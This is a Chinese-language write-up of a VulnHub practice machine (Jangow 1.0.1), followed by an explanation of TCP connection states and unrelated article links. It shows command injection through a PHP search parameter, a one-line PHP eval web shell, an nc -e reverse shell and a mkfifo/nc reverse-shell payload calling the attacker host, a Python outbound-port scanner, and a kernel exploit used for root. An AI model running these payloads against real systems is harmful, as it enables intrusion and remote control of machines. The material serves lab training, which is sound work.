来源

vulnhub:https://www.vulnhub.com/entry/jangow-101,754/

描述
难度:简单 这在 VirtualBox 而不是 VMware 上效果更好 我这里用Vmware无法显示IP地址,但是VirtualBox可以。

nmap扫描

nmap -sC -sV -T4 -sS -v 192.168.56.118   

Discovered open port 80/tcp on 192.168.56.118
Discovered open port 25/tcp on 192.168.56.118
Discovered open port 21/tcp on 192.168.56.118
Discovered open port 110/tcp on 192.168.56.118 PORT STATE SERVICE VERSION
21/tcp open tcpwrapped
25/tcp open tcpwrapped
|_smtp-commands: Couldn't establish connection on port 25
80/tcp open tcpwrapped
110/tcp open tcpwrapped

然后再80端口发现一个

http://192.168.56.118/site/busque.php?buscar=
命令执行,文件包含 经测试:命令执行
http://192.168.56.118/site/busque.php?buscar=tac ./wordpress/config.php 发现信息泄露 ?> mysqli_close($conn);
echo "Connected successfully"; }
die("Connection failed: " . mysqli_connect_error());
if (!$conn) { // Check connection
$conn = mysqli_connect($servername, $username, $password, $database); // Create connection
$password = "abygurl69";
$username = "desafio02";
$database = "desafio02";
$servername = "localhost";

没什么用

接着使用使用echo 写码

which nc 回显 /bin/nc
http://192.168.56.118/site/busque.php?buscar=/bin/nc 192.168.56.101 4444 -e /bin/bash 但是弹不上去,估计-e 给搬了 尝试echo 写码,可以成功
http://192.168.56.118/site/busque.php?buscar=echo '<?php eval($_POST[x]);?>' >> shell.php 此时在查看就可以发现
http://192.168.56.118/site/busque.php?buscar=ls

蚁剑连接

发现

这个可登录系统

接下来就是弹shell了。

发现是做了端口限制出不去,要测试本地端口是否能够出去,最简单的方法是使用telnet命令。

import requests

url = "http://192.168.56.118/site/busque.php?buscar=telnet 192.168.56.101 "

for i in range(1, 65536):
try:
payload = url + str(i)
req = requests.get(payload, timeout=0.2)
if "Trying" in req.text:
print(i)
except:
pass

等待时间有点久

利用蚁剑传文件,弹shell

<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.101 443 >/tmp/f');?>
本地监听:nc -lvnp 443

访问:http://192.168.56.118/site/php-reverse-shell.php
即可成功

默认情况下,这些shell非常不稳定。按 Ctrl + C 会杀死整个事情。它们是非交互式的,并且通常具有奇怪的格式错误。

此时which python3,存在

使用python稳定shell:https://www.cnblogs.com/-Lucky-/p/17160172.html

此时成功拿到

然后就是权限提升

找了很久,,,,最后发现是版本问题

可利用的poc

最后发现是45010.c

也可以使用

开个web服务,远程下载(可能因为权限原因,在www-data下才可以下载)(我在/ 目录下下载失败,并且在/site/下载编译后的文件运行失败,最后还是下载45010.c,然后再编译的)

总结疑问

思路:web端,发现命令执行漏洞后,直接echo 写码,蚁剑连接。然后使用python测试进出端口-->443

反弹shell即可,最后使用python开启web服务,或使用ftp服务上传文件,蚁剑上传也可以,然后就是root权限

疑问

443端口已经弹shell了,为什么开启http服务,并没有中断,还可以下载文件

然后就发现下面的情况

开启443web服务后

上传文件

上传文件后端口状态发生了改变

"ESTABLISHED" 指的是 TCP/IP 连接已经建立,并且数据可以在两个端点之间互相传输。在网络通信中,TCP是一种可靠的传输协议,它需要在客户端和服务器之间建立连接,以保证传输数据的可靠性。

在TCP连接建立后,网络状态将变为 ESTABLISHED 状态。在这个状态下,客户端和服务器之间的数据传输可以进行,并且双方都可以发送和接收数据。当数据传输完成后,连接将被断开,状态将变为 CLOSED。

在网络通信问题排查过程中,查看网络状态是非常有用的方式。当客户端连接到服务器时,可以使用netstat命令来查看当前系统的网络状态信息。例如,可以使用以下命令查看本机与目标主机之间的连接状态:

netstat -an | grep 远程主机IP | grep ESTABLISHED
该命令将列出本机与指定远程主机之间的已建立连接信息。如果输出结果中的State字段为ESTABLISHED,则表示连接已经建立。 总之,ESTABLISHED 表示已经建立了一条 TCP/IP 连接,并且可以进行数据传输。 "TIME_WAIT" 是 TCP/IP 协议中一个重要的状态,它是在 TCP 连接关闭时产生的一种暂时状态。当 TCP 连接被主动关闭时,连接的一端将进入 TIME_WAIT 状态,等待 2 × MSL(Maximum Segment Lifetime,最大分段生存时间)的时间后才会关闭。 在 TIME_WAIT 状态下,TCP 连接已经被关闭,但是还没有完全终止。这个状态会持续一段时间,因为有可能会收到对之前连接上发送的数据的确认(ACK)。如果收到确认,就说明之前的连接仍然存在,需要等待确认超时或者两倍的最大分段生存时间后才能彻底关闭这个连接。 TIME_WAIT 状态的持续时间是有限制的,通常是几分钟到几十分钟不等。在这个时间内,连接不能被重用,会占用系统资源。如果有大量的 TIME_WAIT 状态的连接存在,可能会导致系统性能下降。 在网络故障分析和调试中,TIME_WAIT 状态是一个非常重要的指标。在使用 netstat 等工具查看网络状态时,如果看到大量的 TIME_WAIT 状态的连接,可能说明系统的网络连接负载比较大,需要进一步排查问题。 "LISTEN" 是 TCP/IP 协议中一个重要的状态,表示当前正在监听指定端口号的网络连接请求。当一个服务器程序运行起来后,它通常会监听一个固定的端口号,用于接受来自远程客户端的连接请求。 在 LISTEN 状态下,服务器程序正在等待来自客户端的连接请求。如果有一个客户端请求连接到该端口,并且满足一定的条件,服务器程序会创建一个新的 TCP 连接,将其分配给该客户端,并进入 ESTABLISHED 状态。在 LISTEN 状态下,服务器程序可以同时处理多个客户端的连接请求,这也是 TCP/IP 网络通信的一个典型特征。 在使用 netstat 命令等工具查看网络状态时,可以通过以下命令查看本机正在监听的端口号: netstat -an | grep LISTEN
该命令会列出当前正在监听的所有端口号和协议类型。如果输出结果中的State字段为 LISTEN,则表示该端口正在被该主机上的一个程序监听。如果出现大量的 LISTEN 状态的连接,可能说明有多个服务程序在运行,需要进一步排查问题。 总之,LISTEN 状态表示当前正在监听指定端口号,等待来自远程客户端的连接请求。

随机推荐

  1. 音质效果不错的Pcie声卡之CM8828听歌声卡

    CM8828芯片是cmedia骅讯公司生产的,采用这个芯片的声卡价格不一,便宜的100多,贵一点的500多.价位在100多买到这款声卡还是比较实惠的,再高一点的声卡都是堆料的.CM8828声卡是原生的 ...

  2. 打工人都在用的AI工具(第二期)

    更多精彩内容,欢迎关注公众号:数量技术宅,也可添加技术宅个人微信号:sljsz01,与我交流. 上周更新的打工人都在用的AI工具(第一期)收到了小伙伴们的高度好评,于是很多小伙伴们急急忙忙的催更,技术 ...

  3. 1 Android开发书籍

    不管你是Android菜鸟还是Android高手,一定能够找到一本适合自己阅读的书籍.下面为大家推荐8本书. <Android进阶之光> <Android进阶之光>详细并深入讲 ...

  4. [Java JDK]ResultSet.next()

    1 JDK [jdk1.5doc] Moves the cursor down one row from its current position. A ResultSet cursor is ini ...

  5. python函数参数与类参数

    python关于函数的一些应用 前言 鉴于python3与python2有些不同,看到某些代码时可能会感到疑惑,就稍微记录一下. 一.不限制个数的函数参数 1.*args 以此为参数,会被python ...

  6. AI时代下普通小程序员的想法

    在我接触了一系列AI技术后,不禁产生了许多思考.我先后尝试了AI编程.AI写论文.AI写小说.AI绘画等,最近看到了一些关于AI构建虚拟世界以及Auto-GPT的AI类新闻.在这个过程中,我心头涌现出 ...

  7. ChatGPT API接口编程基础与使用技巧

    总结/朱季谦 趁着这周末空闲时间,在研读完OpenAi官网文档的基础上,及时总结了这篇<ChatGPT API接口编程基础与使用技巧>. 本文大部分内容是围绕编程方面,包括ChatGPT模 ...

  8. [apue] 一图读懂 Unix 时间日期例程相互关系

    概览 开门见山先上图 界定一些术语,方便后面说明: GMT:格林威治平均时,太阳每天经过位于英国伦敦郊区的皇家格林威治天文台的时间为中午 12 点,1972 年之前使用的国际标准时间,因地球在它的椭圆 ...

  9. 如何根据需求选择合适的数据库管理工具?Navicat OR DBeaver

    1.写在前面 在阅读本文之前,糖糖给大家准备了Navicat和DBeaver安装包,在公众号内回复"Navicat"或"DBeaver"或"数据库管理 ...

  10. 彻底搞懂Redis持久化机制,轻松应对工作面试

    1. 为什么要持久化 Redis是基于内存存储的数据库,如果遇到服务重启或者崩溃,内存中的数据将会被清空.所以为了确保数据安全性和可靠性,我们需要将内存中的数据持久化到磁盘上. 持久化不仅可以防止由于 ...